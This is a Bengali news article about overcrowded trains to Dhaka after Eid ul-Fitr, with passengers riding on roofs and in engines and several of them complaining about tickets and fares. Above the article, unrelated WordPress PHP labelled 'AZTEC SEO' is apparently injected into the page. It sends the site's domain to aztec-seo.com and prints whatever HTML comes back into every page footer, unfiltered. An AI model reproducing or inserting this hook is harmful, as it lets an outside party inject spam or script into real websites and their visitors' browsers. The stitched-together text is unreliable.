/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);

ট্রেনে তিলধারণের ঠাঁই নেই, ছাদেও উপচেপড়া ভিড়
পবিত্র ঈদুল ফিতরের ছুটির পর ঢাকামুখী কর্মস্থলে ফেরা মানুষের উপচেপড়া ভিড়। ঢাকার উদ্দেশে ছেড়ে যাওয়া আন্তঃনগর মোহনগঞ্জ এক্সপ্রেসের প্রত্যেকটি বগিতে লোকে-লোকারণ্য। এমনকি ট্রেনের ছাদেও উপচেপড়া ভিড়।
ট্রেনের নামাজখানা, ইঞ্জিন ও বিপজ্জনক পাওয়ারকারেও যাত্রী উঠতে দেখা যায়। দুই ট্রেনের জয়েন্টেও জীবনের ঝুঁকি নিয়ে যাত্রী উঠছেন।
বছরের পর বছর লোকসানে থাকা ট্রেন নিয়ে ক্ষোভ প্রকাশ করেন জাহাঙ্গীরনগর বিশ্ববিদ্যালয়ের শিক্ষার্থী মুমতেহিনা ফেরদৌসী। তিনি বলেন, সরকার বলে লোকসান। ট্রেনের টিকেট, বসার ঠাঁই নেই। টিকিট করেও দাঁড়িয়ে যাচ্ছি।
রোববার ঢাকার উদ্দেশে ছেড়ে যাওয়া মহুয়া কমিউটার ও বলাকা কমিউটারেও ছিল উপচেপড়া ভিড়।
গৌরীপুর উপজেলার অচিন্তপুর ইউনিয়নের মুখুরিয়া গ্রামের আয়েশা আক্তার (৪০) জানান, স্বামী-সন্তান নিয়ে ঈদে বাড়ি আসছিলেন। আসতেও ভাড়া দ্বিগুণ দিতে হয়েছে। এখন যাচ্ছি ট্রেনে টিকিট নেই। শুধু উন্নয়ন উন্নয়ন, গরিবের কোথাও উন্নয়ন দেখছি না।
তার সঙ্গে সুর মিলিয়ে আব্দুস সামাদ বলেন, ঠেকায় পড়ে ট্রেনের ছাদে উঠছি! মরণের ভয় আছে, জীবনটাও তো বাঁচাতে হবে। তাই ট্রেনে জায়গা না পেয়ে ট্রেনের ছাদে উঠছি।